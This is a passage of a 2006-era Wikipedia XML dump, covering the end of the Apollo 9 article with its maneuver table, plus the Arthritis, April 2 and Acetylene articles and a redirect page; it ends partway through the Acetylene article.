Apollo 9 was the first space test of the complete Apollo spacecraft, including the third critical piece of Apollo hardware - the [[lunar module]]. For ten days, the astronauts put all three Apollo vehicles through their paces in Earth orbit, undocking and then redocking the lunar lander with the command module, just as they would in lunar orbit. Apollo 9 gave proof that the Apollo machines were up to the task of orbital rendezvous and docking. 

For this and all subsequent Apollo flights, the crews were allowed to name their own spacecraft. The gangly lunar module was named &quot;Spider,&quot; and the command module was labelled &quot;Gumdrop&quot; on account of the blue cellophane wrapping in which the craft arrived at KSC. 

Schweickart and Scott performed an EVA - Schweickart checked out the new Apollo spacesuit, the first to have its own life support system rather than being dependent on an umbilical connection to the spacecraft, while Scott filmed him from the command module hatch. Schweickart was due to carry out a more extensive set of activity to test the suit, and demonstrate that it was possible for astronauts to perform an EVA from the lunar module to the command module in an emergency, but as he had been suffering from [[space sickness]], this was restricted to the stand up test in the Lunar Module hatch. 

McDivitt and Schweickart later testflew the LM, and practiced separation and docking maneuvers in earth orbit. They flew the LM up to 111 miles from &quot;Gumdrop&quot;, using the engine on the descent stage to propel them originally, before jettisoning it and using the ascent stage to return.

The splashdown point was 23 deg 15 min N, 67 deg 56 min W, 180 miles (290 km) east of Bahamas and within sight of the recovery ship [[USS Guadalcanal (LPH-7)|USS ''Guadalcanal'']]. 

The command module was displayed at the [[Michigan Space and Science Center]], [[Jackson, Michigan]] until April 2004 when the center closed. In May, 2004, the command module '''Gumdrop''' was moved to San Diego Aerospace Museum in southern California. The LM ascent stage orbit decayed on [[23 October]] [[1981]], the LM descent stage (1969-018D) orbit decayed [[22 March]] [[1969]]. The S-IVB stage J-2 engine was restarted after Lunar Module extraction and propelled the stage into solar orbit by burning to depletion.

==Apollo 9 maneuver summary==
{| border=&quot;1&quot; cellspacing=&quot;0&quot; align=&quot;Left&quot; width=&quot;750&quot;
! T + Time
! Event
! Burn Time
! Delta-Velocity
! Orbit
|-
| T + 00:00:00 || Lift-off ||. ||. ||.
|-
| T + 00:02:14 || S-IC center engine cut-off || 141 s ||. ||.
|-
| T + 00:02:43 || S-IC engine cut-off || 169 s ||. ||.
|-
| T + 00:02:44 || S-II ignition ||. ||. ||.
|-
| T + 00:03:14 || S-II skirt separation ||. ||. ||.
|-
| T + 00:03:19 || LES jettison ||. ||. ||.
|-
| T + 00:08:56 || S-II cut-off ||. ||. ||.
|-
| T + 00:08:57 || S-II cutoff + separation, S-IVB ignition ||. ||. ||.
|-
| T + 00:11:05 || S-IVB cutoff + orbital insertion || 127.4 s ||. ||191.3 x 189.5 km
|-
| T + 02:45:00 || CSM/S-IVB separation ||. ||. ||.
|-
| T + 03:02:08 || CSM/LM docking ||. ||. ||.
|-
| T + 04:18:00 || Spacecraft/S-IVB separation ||. ||. ||.
|-
| T + 05:59:00 || First SPS test || 5.1 s || +10.4 m/s || 234.1 x 200.7 km
|-
| T + 22:12:03 || Second SPS test || 110 s || +259.2 m/s || 351.5 x 199.5 km
|-
| T + 25:17:38 || Third SPS test || 281.6 s || +782.6 m/s || 503.4 x 202.6 km
|-
| T + 28:24:40 || Fourth SPS test || 28.2 s || -914.5 m/s || 502.8 x 202.4 km
|-
| T + 49:41:33 || First DPS test || 369.7 s || -530.1 m/s || 499.3 x 202.2 km
|-
| T + 54:26:11 || Fifth SPS test || 43.3 s || -175.6 m/s || 239.3 x 229.3 km
|-
| T + 92:39:30 || CSM/LM undocking ||. ||. ||.
|-
| T + 93:02:53 || CSM separation maneuver || 10.9 s || -1.5 m/s ||.
|-
| T + 93:47:34 || LM DPS phasing maneuver || 18.6 s || +27.6 m/s || 253.5 x 207 km
|-
| T + 95:39:07 || LM DPS insertion maneuver || 22.2 s || +13.1 m/s || 257.2 x 248.2 km
|-
| T + 96:16:04 || LM concentric sequence initiation maneuver || 30.3 s || -12.2 m/s || 255.2 x 208.9 km
|-
| T + 96:58:14 || LM APS constant delta height maneuver || 2.9 s || -12.6 m/s || 215.6 x 207.2 km
|-
| T + 97:57:59 || LM terminal phase finalization maneuver || 34.7 s || +6.8 m/s || 232.8 x 208.5 km
|-
| T + 98:59:00 || CSM/LM docking ||. ||. ||.
|-
| T + 101:32:44 || Post-jettison CSM separation maneuver || 7.2 s || +0.9 m/s || 235.7 x 224.6 km 
|-
| T + 101:53:20 || LM APS burn to depletion || 350 s || +1,643.2 m/s || 6,934.4 x 230.6 km
|-
| T + 123:25:06 || Sixth SPS test || 1.29 s || -11.5 m/s || 222.6 x 195.2 km
|-
| T + 169:38:59 || Seventh SPS test || 25 s || +199.6 m/s || 463.4 x 181.1 km
|-
| T + 240:31:14 || Eighth SPS test || 11.6 s || -99.1 m/s || 442.2 x -7.8 km
|-
| T + 241:00:54 || Splashdown ||. ||. ||.
|}

&lt;br style=&quot;clear: left&quot;/&gt;

[[Image:GPN-2000-001100.jpg|center|thumb|left|225px|Dave Scott spacewalk. (NASA)]]

[[Image:GPN-2000-001106.jpg|center|thumb|left|225px|Apollo 9 LM &quot;Spider&quot;. (NASA)]]

[[Image:GPN-2000-001109.jpg|center|thumb|left|225px|LM &quot;Spider&quot; over ocean. (NASA)]]

&lt;br style=&quot;clear: left&quot;/&gt;

===References===
*[http://nssdc.gsfc.nasa.gov/nmc/sc-query.html NASA NSSDC Master Catalog]
*[http://history.nasa.gov/SP-4029/Apollo_00a_Cover.htm APOLLO BY THE NUMBERS: A Statistical Reference by Richard W. Orloff (NASA)]
*[http://history.nasa.gov/SP-4012/vol3/table2.37.htm Apollo 9 Characteristics - SP-4012 NASA HISTORICAL DATA BOOK]
*Baker, David. ''The History of Manned Space Flight''. Crown Publishers, Inc. First Edition. ISBN 051754377X

{{Project Apollo | before=[[Apollo 8]] | after=[[Apollo 10]]}}

==External links==
* [http://www.astronautix.com/flights/apollo9.htm Apollo 9 entry in Encyclopedia Astronautica]
*[http://www.hq.nasa.gov/office/pao/History/SP-4009/cover.htm The Apollo Spacecraft: A Chronology]
*[http://history.nasa.gov/apsr/apsr.htm Apollo Program Summary Report]

[[Category:Human spaceflights|Apollo 09]]
[[Category:Apollo program|Apollo 09]]
[[Category:1969]]
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  <page>
    <title>Applied discrete math</title>
    <id>1775</id>
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      <id>15900240</id>
      <timestamp>2002-08-28T04:19:05Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>correcting redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Discrete mathematics]]</text>
    </revision>
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  <page>
    <title>Arthritis</title>
    <id>1776</id>
    <revision>
      <id>41970384</id>
      <timestamp>2006-03-02T23:26:08Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Arthritis |
  ICD10       = M00-M25 |
  ICD9        = {{ICD9|710}}-{{ICD9|719}} |
}}

'''Arthritis''' (from Greek ''arthro-'', joint + ''-itis'', inflammation) is a group of conditions that affect the health of the [[bone]] [[joint]]s in the body. One in three adult Americans suffer from some form of arthritis and the disease affects about twice as many women as men.

Arthritic [[disease]]s include [[rheumatoid arthritis]] and [[psoriatic arthritis]], which are [[autoimmune disorder|autoimmune diseases]]; [[septic arthritis]], caused by joint infection; and the more common [[osteoarthritis]], or degenerative joint disease.  Arthritis can be caused from strains and injuries caused by repetitive motion, sports, overexertion, and falls. Unlike the autoimmune diseases, osteoarthritis largely affects older people and results from the degeneration of joint cartilage. Other forms are discussed below.

Arthritic joints can be sensitive to weather changes. The increased sensitivity is thought to be caused by the affected joints developing extra nerve endings in an attempt to protect the joint from further damage.

==Signs and symptoms==
All arthritides feature [[pain]], which is generally worse in the morning and on initiating movement, and resolves in the course of time. In elderly people and children, the pain may not be the main feature, and the patient simply moves less (elderly) or refuse to use the affected limb (children).

When faced with joint pain, a doctor will generally ask about several other medical symptoms (such as [[fever]], skin symptoms, breathlessness, [[Raynaud's phenomenon]]) that may narrow down the [[differential diagnosis]] to a few items, for which testing can be done.

Arthritis and fever together are pointers towards ''septic arthritis'' (see below). This is a [[medical emergency]], and requires urgent referral to a [[rheumatology|rheumatologist]].

==Diagnosis==
The various types of arthritis can be distinguished by the pace of onset, the age and sex of the patient, the amount of (and which) joints affected, additional symptoms such as [[psoriasis]], [[iridocyclitis]], [[Raynaud's phenomenon]], and rheumatoid nodules, and other clues.

[[Blood test]]s and [[X-ray]]s of the affected joints are often performed to make the diagnosis. X-rays can show erosions or bone appositions.

Screening blood tests: [[full blood count]], [[electrolytes]], [[renal function]], [[liver enzyme]]s, [[calcium]], [[phosphate]], [[protein electrophoresis]], [[C-reactive protein]] and the [[erythrocyte sedimentation rate]] (ESR). Specific tests are the [[rheumatoid factor]], [[antinuclear factor]] (ANF), [[extractable nuclear antigen]] and specific antibodies whenever the ANF is found to be positive.

==Treatment==
Treatment options vary depending on the precise condition, but include [[surgery]], and drug treatment, reduction of joint stress, [[Physical therapy|physical]] and [[Occupational therapy|occupational therapy]], and [[pain management]]. There are also numerous herbal remedies that purportedly treat arthritis, including ''[[Harpagophytum procumbens]]''. For specifics, see the articles on the individual conditions listed below.

In March 2005, researchers at [[Harvard Medical School]] and [[Brigham and Women's Hospital]] in the USA found that a diet rich in [[oily fish]] raised the body's production of an anti-inflammatory fat, and may thus reduce the effects of arthritis. According to their study published in the [[Journal of Experimental Medicine]], this diet worked best when combined with low [[aspirin]] doses.

==Types of arthritis==
Primary forms of arthritis:
* [[Septic arthritis]]
* [[Rheumatoid arthritis]]
* [[Osteoarthritis]]
* [[Gout]] and [[pseudogout]]
* [[Juvenile arthritis]]
* [[Still's disease]]
* [[Ankylosing spondylitis]]

Secondary to other diseases:
* [[Lupus erythematosus|Systemic lupus erythematosus]] (SLE)
* [[Henoch-Schönlein purpura]]
* [[Psoriatic arthritis]]
* [[Reiter's syndrome]]
* [[Reactive arthritis]]
* [[Hemochromatosis]]
* [[Hepatitis]]
* [[Wegener's granulomatosis]] (and many other [[vasculitis]] syndromes)
* [[Familial Mediterranean fever]] (FMF), [[Hyperimmunoglobinemia D with recurrent fever|HIDS]] (hyperimmunoglobulinemia D and periodic fever syndrome) and [[TRAPS]] ([[TNF-alpha]] receptor associated periodic fever syndrome).

Diseases that can mimic arthritis:
* [[Pierre Marie-Bamberger syndrome]] (hypertrophic pulmonary osteoarthropathy, a [[paraneoplastic phenomenon]] of [[lung cancer]])
* [[multiple myeloma]]
* [[osteoporosis]]
* ''others''

==History==
While evidence of primary ankle osteoarthritis has been discovered in dinosaurs, the first known traces of human arthritis date back as far as [[4500 BC]]. It was noted in skeletal remains of [[Native Americans in the United States|Indians]] found in [[Tennessee]] and parts of what is now Olathe, Kansas.  Evidence of arthritis has been found throughout history from Otzi, the name of a mummy (circa 3000 BC) found along the border of modern Italy and Austria, to the Egyptian mummies circ 2590 BC.  Around 500 BC willow bark gained popularity when it was discovered that this bark could help relieve some of the aches and pains of arthritis.  It wasn't until over 2000 years later in the early 1820s that European scientists began to scientifically study what the chemical compound was in willow bark that alleviated the arthritis symptoms.  They discovered the compound was salicin.  When they isolated salicin, however, they found it was very noxious to the stomach.  Almost 80 years later, in 1897, an employee of Bayer Company -- then a dye production company -- named Felix Hoffman discovered how to isolate the compound and make it less irritating to the stomach.  Hoffman was attempting to make the drug in order to help his father who was suffering with arthritis.  In 1899, Bayer Company trademarked Hoffman's discovery under the name &quot;Aspirin.&quot;  Today it is believed that over a trillion tablets of aspirin have been sold worldwide.   [http://www.arthritis.org/resources/arthritistoday/2000_archives/2000_01_02_TimeLine.asp].

==External links==
*[http://www.arthritis.org Arthritis Foundation] ([[non-profit organisation]])
*[http://www.ar-i.org Arthritis Rheumatism International] (International Patient Advoacacy Group)
*[http://www.rheumatology.org American College of Rheumatologists] (US professional body) - also contains classification criteria of important forms of arthritis
*[http://www.rheumatology.org.uk British Society for Rheumatology] (UK professional body)
*[http://www.arthritismd.com ArthritisMD] (Physician submitted articles) - research based arthritis articles by physicians

[[Category:Arthritis| ]]
[[Category:Skeletal disorders]]
[[Category:Inflammations]]
[[Category:Rheumatology]]

[[de:Arthritis]]
[[es:Artritis]]
[[eo:Artrito]]
[[fr:Arthrite]]
[[ia:Arthritis]]
[[io:Artrito]]
[[it:Artrosi]]
[[nl:Artritis]]
[[ja:関節リウマチ]]
[[pl:Artretyzm]]
[[pt:Artrite]]
[[uk:Артрит]]
[[zh:关节炎]]</text>
    </revision>
  </page>
  <page>
    <title>April 2</title>
    <id>1777</id>
    <revision>
      <id>42163021</id>
      <timestamp>2006-03-04T06:01:07Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>rv sorry for your loss.  However, without a wikipedia article or significant noteability, she doesn't belong here</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=2}}
|}
'''April 2''' is the 92nd day of the year (93rd in [[leap year]]s) in the [[Gregorian calendar]], with 273 days remaining.
==Events==
*[[69]] - [[Galba]], governor of Spain, names himself ''legatus senatus populique Romani'', breaking the line of Roman emperors begun with [[Julius Caesar]] and [[Augustus]].  
*[[1453]] - [[Mehmed II]] begins his siege of [[Constantinople]] ([[&amp;#304;stanbul]]), which would fall on [[May 29]]
*[[1513]] - [[Juan Ponce de Leon]] sets foot on [[Florida]] becoming the first known [[Europe]]an to do so.
*[[1755]] - Commodore [[William James (naval commander)|William James]] captures [[pirate]] fortress of Severndroog on west coast of [[India]].
*[[1792]] - The [[Coinage Act (1792)|Coinage Act]] is passed establishing the  [[United States Mint]].
*[[1801]] - [[Napoleonic Wars]]: [[Battle of Copenhagen]] - The British destroy the Danish fleet.
*[[1863]] - [[Richmond Bread Riots]]: [[Food]] shortages incite hundreds of angry women to [[rioting|riot]] in [[Richmond, Virginia]] and demand the [[Confederate States of America|Confederate]] government to release emergency supplies.
*[[1865]] - [[American Civil War]]: [[Siege of Petersburg]] broken - [[United States|Union]] troops capture the trenches around [[Petersburg, Virginia]], forcing [[Confederate States of America|Confederate]] General [[Robert E. Lee]] to retreat. 
*1865 - American Civil War: Confederate President [[Jefferson Davis]] and most of his Cabinet flee the Confederate capital of [[Richmond, Virginia]].
*[[1900]] The [[Foraker Act]] passes through [[Congress]], giving [[Puerto Ricans]] limited [[self-rule]].
*[[1902]] - &quot;Electric Theatre&quot;, the first movie theater in the [[United States]], opens in [[Los Angeles, California]].
*[[1917]] - [[World War I]]: U.S. President [[Woodrow Wilson]] asks the [[Congress of the United States|U.S. Congress]] for a [[declaration of war]] on [[Germany]].
*1917 - The first [[woman]] ever elected to the U.S. Congress, [[Jeannette Rankin]], takes her seat as a representative from [[Montana]].
*[[1930]] - [[Haile Selassie]] is proclaimed emperor of [[Ethiopia]].
*[[1941]] - The [[radio]] program ''[[Life of Riley]]'' airs for the first time. 
*[[1956]] - [[General Motors]] board member [[Alfred P. Sloan]] steps down after 19 years as chairman with [[Albert Bradley]] as his successor.
*1956 - ''[[As the World Turns]]'' and ''[[The Edge of Night]]'' first aired on the [[CBS]] network in the [[United States]], as the first half-hour serial dramas.
*[[1964]] - The [[Saab Automobile|Saab]] board starts ''Project Gudmund'' to develop a new and larger [[automobile|car]], later released as the [[Saab 99]].
*[[1971]] - The final broadcast of ''[[Dark Shadows]]'' airs on [[ABC-TV]].
*[[1972]] - Actor [[Charlie Chaplin]] returns to the [[United States]] for the first time since being labeled a [[communism|communist]] in the early [[1950s]] during the [[Red Scare]].
*1972 - [[Vietnam War]]: [[Easter Offensive]] begins - [[North Vietnam]]ese soldiers of the 304th Division take the northern half of [[Quang Tri Province]].
*[[1973]] - Launch of [[LexisNexis]] computerized legal research service.
*[[1975]] - Vietnam War: Thousands of civilian [[refugee]]s flee from the [[Quang Ngai Province]] in front of advancing [[North Vietnam]]ese troops.
*[[1978]] - Prime-time Soap Opera ''[[Dallas (TV series)|Dallas]]'' premieres on [[CBS]], beginning a 13-year run. 
*[[1980]] - U.S. President [[Jimmy Carter]] signs the [[Crude Oil Windfall Profits Tax Act]] in an effort to help the U.S. [[economics|economy]] rebound.   
*[[1982]] - [[Falklands War]]: [[1982 invasion of the Falkland Islands]] by [[Argentina]]. The disputed [[Falkland Islands|islands]] are later retaken by the [[United Kingdom]].
*1982 - [[John Chancellor]] helms the news desk at the ''[[NBC Nightly News]]'' for the final time, after eleven-and-a-half years.
*[[1989]] - [[Soviet Union|Soviet]] leader [[Mikhail Gorbachev]] arrives in [[Havana]], [[Cuba]] to meet with [[Fidel Castro]] in an attempt to mend strained relations. 
*[[1992]] - In [[New York]], [[Mafia]] boss [[John Gotti]] is convicted of [[murder]] and [[racketeering]] and is later sentenced to life in prison. 
*1992 - [[Pierre Bérégovoy]] becomes Prime Minister of [[France]]
*[[2002]] - [[Israel]]i forces surrounded the [[Church of the Nativity]] in [[Bethlehem]] which has around 200 [[Palestinians]] inside. A siege ensues.
*[[2004]] - [[Islamism|Islamist]] [[terrorism|terrorists]] involved in the [[11 March 2004 Madrid attacks]] attempt a thwarted bombing of the Spanish high-speed train [[AVE]] near [[Madrid]].
*[[2005]] - [[Pope John-Paul II]] dies. Hundreds of millions of Catholics, and non-Catholics mourn worldwide.
*2005 - [[James Stewart Jr.]] becomes first African American to win a major motorsports event.

==Births==
*[[1510]] - [[Ashikaga Yoshiharu]], Japanese shogun (d. [[1550]])
*[[1545]] - [[Elizabeth of Valois]], queen of [[Philip II of Spain]] (d. [[1568]])
*[[1565]] - [[Cornelis de Houtman]], Dutch explorer (d. [[1599]])
*[[1618]] - [[Francesco Maria Grimaldi]], Italian mathematician and physicist (d. [[1663]])
*[[1653]] - [[Prince George of Denmark]], prince consort of [[Anne of England]] (d. [[1708]])
*[[1719]] - [[Johann Wilhelm Ludwig Gleim]], German poet (d. [[1803]])
*[[1725]] - [[Casanova]], Italian adventurer and writer (d. [[1798]])
*[[1788]] - [[Francisco Balagtas]], Filipino poet (d. [[1862]])
*[[1798]] - [[August Heinrich Hoffmann von Fallersleben]], German poet (d. [[1874]])
*[[1805]] - [[Hans Christian Andersen]], Danish writer (d. [[1875]])
*[[1827]] - [[William Holman Hunt]], English painter (d. [[1910]])
*[[1838]] - [[Léon Gambetta]], French statesman (d. [[1882]])
*[[1840]] - [[Émile Zola]], French novelist and critic (d. [[1902]])
*[[1862]] - [[Nicholas Murray Butler]], American president of Columbia University, recipient of the [[Nobel Peace Prize]] (d. [[1947]])
*[[1867]] - [[Eugen Sandow]], German bodybuilder and circus performer (d. [[1925]])
*[[1869]] - [[Hughie Jennings]], baseball player (d. [[1928]])
*[[1875]] - [[Walter Chrysler]], American automobile pioneer (d. [[1940]])
*[[1891]] - [[Max Ernst]], German painter (d. [[1976]])
*[[1900]] - [[Roberto Arlt]], Argentine writer (d. [[1942]])
*[[1908]] - [[Buddy Ebsen]], American actor and dancer (d. [[2003]])
*[[1914]] - Sir [[Alec Guinness]], English actor (d. [[2000]])
*[[1917]] - [[Lou Monte]], American singer (d. [[1989]])
*[[1920]] - [[Jack Webb]], American actor, director, and producer (d. [[1982]])
*[[1923]] - [[G. Spencer-Brown]], English mathematician
*[[1925]] - [[George MacDonald Fraser]], English author
*[[1926]] - Sir [[Jack Brabham]], Australian race car driver
*[[1927]] - [[Carmen Basilio]], American boxer
*1927 - [[Ferenc Puskás]], Hungarian footballer
*1927 - [[Kenneth Tynan]], English critic and writer (d. [[1980]])
*[[1928]] - [[Joseph Cardinal Bernardin]], American cardinal (d. [[1996]])
*1928 - [[Serge Gainsbourg]], French singer (d. [[1991]])
*[[1934]] - [[Paul Joseph Cohen]], American mathematician
*1934 - [[Brian Glover]], British actor and wrestler  (d. [[1997]])
*[[1937]] - [[Dick Radatz]], American baseball player (d. [[2005]])
*[[1939]] - [[Marvin Gaye]], American singer (d. [[1984]])
*[[1940]] - [[Penelope Keith]], English actress
*[[1941]] - [[Dr. Demento]], American radio personality
*[[1942]] - [[Hiroyuki Sakai]], Japanese chef
*[[1945]] - [[Linda Hunt]], American actress
*1945 - [[Don Sutton]], [[Major League Baseball]] player player
*1945 - [[Reggie Smith]], [[Major League Baseball]] player
*[[1947]] - [[Emmylou Harris]], American singer
*1947 - [[Camille Paglia]], American feminist writer
*[[1949]] - [[Pamela Reed]], American actress
*[[1951]] - [[Moriteru Ueshiba]], Japanese martial artist
*[[1953]] - [[Jim Allister]], Northern Irish politician
*1953 - [[David Robinson (musician)|David Robinson]], American musician
*1953 - [[Debralee Scott]], American actress (d. [[2005]])
*[[1954]] - [[Ron Palillo]], American actor
*[[1959]] - [[Juha Kankkunen]], Finnish race car driver
*[[1960]] - [[Linford Christie]], British athlete
*[[1961]] - [[Christopher Meloni]], American actor
*1961 - [[Keren Woodward]], British singer ([[Bananarama]])
*[[1962]] - [[Pierre Carles]], French documentarist
*1962 - [[Mark Shulman]], American children's author
*[[1966]] - [[Bill Romanowski]], American football player
*[[1967]] - [[Greg Camp]], American guitarist and songwriter ([[Smash Mouth]])
*1967 - [[Helen Chamberlain]], British television presenter
*[[1971]] - [[Todd Woodbridge]], Australian tennis player

==Deaths==
*[[1272]] - [[Richard, 1st Earl of Cornwall]], Holy Roman Emperor (b. [[1209]])
*[[1335]] - Duke [[Henry of Carinthia]]
*[[1412]] - [[Ruy Gonzáles de Clavijo]], Spanish traveler and writer
*[[1502]] - [[Arthur Tudor|Prince Arthur Tudor]], son of [[Henry VII of England]] (b. [[1486]])
*[[1507]] - [[Francis of Paola]], Italian founder of the Order of the Minims (b. [[1416]])
*[[1657]] - [[Ferdinand III, Holy Roman Emperor]] (b. [[1608]])
*[[1720]] - [[Joseph Dudley]], colonial Governor of Massachusetts (b. [[1647]])
*[[1742]] - [[James Douglas (physician)|James Douglas]], Scottish physician and anatomist (b. [[1675]])
*[[1747]] - [[Johann Jacob Dillenius]], German botanist (b. [[1684]])
*[[1754]] - [[Thomas Carte]], English historian (b. [[1686]])
*[[1787]] - [[Thomas Gage]], British general (b. [[1719]])
*[[1801]] - [[Thomas Dadford Junior]], British canal engineer
*[[1803]] - [[Sir James Montgomery, 1st Baronet]], Scottish politican and judge (b. [[1721]])
*[[1817]] - [[Johann Heinrich Jung]], German author (b. [[1740]])
*[[1827]] - [[Ludwig Heinrich Bojanus]], German physician and naturalist (b. [[1776]])
*[[1865]] - General [[A. P. Hill]], American Confederate general (b. [[1825]])
*[[1872]] - [[Samuel Morse]], American inventor (b. [[1791]])
*[[1902]] - [[Esther Hobart Morris|Esther Morris]], suffragist and first female American judge (b. [[1814]])
*[[1914]] - [[Paul Johann Ludwig von Heyse|Paul von Heyse]], German writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1830]])
*[[1922]] - [[Hermann Rorschach]], Swiss psychologist (b. [[1884]])
*[[1928]] - [[Theodore William Richards]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1868]])
*[[1930]] - Empress [[Zauditu of Ethiopia]] (b. [[1876]])
*[[1966]] - [[C.S. Forester]], British author (b. [[1899]])
*[[1972]] - [[Gil Hodges]], American baseball player (b. [[1924]])
*[[1974]] - [[Georges Pompidou]], [[President of France]] (b. [[1911]])
*[[1987]] - [[Buddy Rich]], American drummer (b. [[1917]])
*[[1994]] - [[Betty Furness]], American actress (b. [[1916]])
*[[1995]] - [[Harvey Penick]], American golfer (b.  [[1904]])
*1995 - [[Hannes Alfvén]], Swedish physicist (b. [[1908]])
*[[2000]] - [[Tommaso Buscetta]], Italian gangster (b. [[1928]])
*[[2001]] - [[Charles Daudelin]], Canadian artist (b. [[1920]])
*[[2003]] - [[Edwin Starr]], American singer (b. [[1942]])
*[[2005]] - [[Pope John Paul II]] (b. [[1920]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/2 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050402.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Apr&amp;day=02 On This Day in Canada]


----

[[April 1]] - [[April 3]] - [[March 2]] - [[May 2]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:2 April]]
[[ar:2 إبريل]]
[[an:2 d'abril]]
[[ast:2 d'abril]]
[[az:2 Aprel]]
[[bg:2 април]]
[[be:2 красавіка]]
[[bs:2. april]]
[[ca:2 d'abril]]
[[ceb:Abril 2]]
[[cv:Ака, 2]]
[[co:2 d'aprile]]
[[cs:2. duben]]
[[cy:2 Ebrill]]
[[da:2. april]]
[[de:2. April]]
[[et:2. aprill]]
[[el:2 Απριλίου]]
[[es:2 de abril]]
[[eo:2-a de aprilo]]
[[eu:Apirilaren 2]]
[[fo:2. apríl]]
[[fr:2 avril]]
[[fy:2 april]]
[[ga:2 Aibreán]]
[[gl:2 de abril]]
[[ko:4월 2일]]
[[hr:2. travnja]]
[[io:2 di aprilo]]
[[id:2 April]]
[[ia:2 de april]]
[[ie:2 april]]
[[is:2. apríl]]
[[it:2 aprile]]
[[he:2 באפריל]]
[[jv:2 April]]
[[ka:2 აპრილი]]
[[csb:2 łżëkwiôta]]
[[ku:2'ê avrêlê]]
[[lt:Balandžio 2]]
[[lb:2. Abrëll]]
[[li:2 april]]
[[hu:Április 2]]
[[mk:2 април]]
[[ms:2 April]]
[[nap:2 'e abbrile]]
[[nl:2 april]]
[[ja:4月2日]]
[[no:2. april]]
[[nn:2. april]]
[[oc:2 d'abril]]
[[os:2 апрелы]]
[[pl:2 kwietnia]]
[[pt:2 de Abril]]
[[ro:2 aprilie]]
[[ru:2 апреля]]
[[se:Cuoŋománu 2.]]
[[sco:2 Aprile]]
[[sq:2 Prill]]
[[scn:2 di aprili]]
[[simple:April 2]]
[[sk:2. apríl]]
[[sl:2. april]]
[[sr:2. април]]
[[fi:2. huhtikuuta]]
[[sv:2 april]]
[[tl:Abril 2]]
[[tt:2. Äpril]]
[[te:ఏప్రిల్ 2]]
[[th:2 เมษายน]]
[[vi:2 tháng 4]]
[[tr:2 Nisan]]
[[uk:2 квітня]]
[[ur:2 اپریل]]
[[wa:2 d' avri]]
[[war:Abril 2]]
[[zh:4月2日]]
[[pam:Abril 2]]</text>
    </revision>
  </page>
  <page>
    <title>Acetylene</title>
    <id>1778</id>
    <revision>
      <id>41763366</id>
      <timestamp>2006-03-01T15:53:38Z</timestamp>
      <contributor>
        <ip>209.173.6.129</ip>
      </contributor>
      <comment>/* Preparation */</comment>
      <text xml:space="preserve">&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
{| class=&quot;toccolours&quot; border=&quot;1&quot; style=&quot;float: right; clear: right; margin: 0 0 1em 1em; border-collapse: collapse;&quot;
! {{chembox header}}| '''{{PAGENAME}}''' &lt;!-- replace if not identical with the article name --&gt;
|-
| align=&quot;center&quot; colspan=&quot;2&quot; bgcolor=&quot;#ffffff&quot; | [[Image:{{PAGENAME}}.png|200px|{{PAGENAME}}]] &lt;!-- replace if not identical with the pagename --&gt;
|-
| [[IUPAC nomenclature|Chemical name]]
| {{PAGENAME}} &lt;!-- replace if not identical with the article name --&gt;
|-
| [[Chemical formula]]
| C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;2&lt;/sub&gt;
|-
| Other names
| Ethyne, Ethine
|-
| [[Molecular mass]]
| 26.0373 g/mol
|-
| [[CAS registry number|CAS number]]
| 74-86-2
|-
| [[Density]]
| 1.09670E-03 g/cm&lt;sup&gt;3&lt;/sup&gt;
|-
| [[Melting point]]
|  -84 °C
|-
| [[Boiling point]]
|  -80.8 °C
|-
| [[Simplified molecular input line entry specification|SMILES]]
| C#C
|-
{{PubChem Row|6326}}
|-
{{EINECS Row|200-816-9}}
|-
| {{chembox header}} | &lt;small&gt;[[wikipedia:Chemical infobox|Disclaimer and references]]&lt;/small&gt;
|-
|}

The [[chemical compound]] and [[alkyne|unsaturated]] [[hydrocarbon]]  '''acetylene''', also known under [[IUPAC nomenclature]] (see [[IUPAC nomenclature of organic chemistry]]) as '''ethyne''', was discovered in 1836 by [[Edmund Davy]], in [[England]].

==Preparation==
The principal raw materials for acetylene manufacture are [[calcium carbonate]] ([[limestone]]) and [[coal]]. The calcium carbonate is first converted into calcium oxide and the coal into [[coke (fuel)|coke]], then the two are reacted with each other to form [[calcium carbide]] and [[carbon monoxide]]:

:CaO + 3C &amp;rarr; CaC&lt;sub&gt;2&lt;/sub&gt; + CO

Calcium carbide (or calcium acetylide) and water are then reacted by any of several methods to produce acetylene and [[calcium hydroxide]].

:CaC&lt;sub&gt;2&lt;/sub&gt; + 2H&lt;sub&gt;2&lt;/sub&gt;O &amp;rarr; Ca(OH)&lt;sub&gt;2&lt;/sub&gt; + C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;2&lt;/sub&gt;

Acetylene can also be manufactured by the partial [[combustion]] of [[methane]] with [[oxygen]], or by the [[Cracking (chemistry)|cracking]] of [[hydrocarbon|hydrocarbons]].

==Safety and handling==

===Compression===

Acetylene can explode with extreme violence if the pressure of the gas exceeds about 100 kPa as a gas or when in liquid or solid form, so it is shipped and stored dissolved in [[acetone]]. The majority of acetylene's chemical energy is contained in the carbon-carbon triple bond.

===Toxic effects===

Inhaling acetylene may cause dizziness, headache and nausea&lt;ref name=&quot;HitCL&quot;&gt;Muir, GD (ed.) 1971, ''Hazards in the Chemical Laboratory'', The Royal Institute of Chemistry, London.&lt;/ref&gt;. It may also contain toxic impurities: the [http://www.cganet.com/publication_detail.asp?id=G-1.1 Compressed Gas Association Commodity Specification for acetylene] has established a grading system for identifying and quantifying [[phosphine]], [[arsine]], and [[hydrogen sulfide]] content in commercial grades of acetylene in order to limit exposure to these impurities.

===Fire hazard===

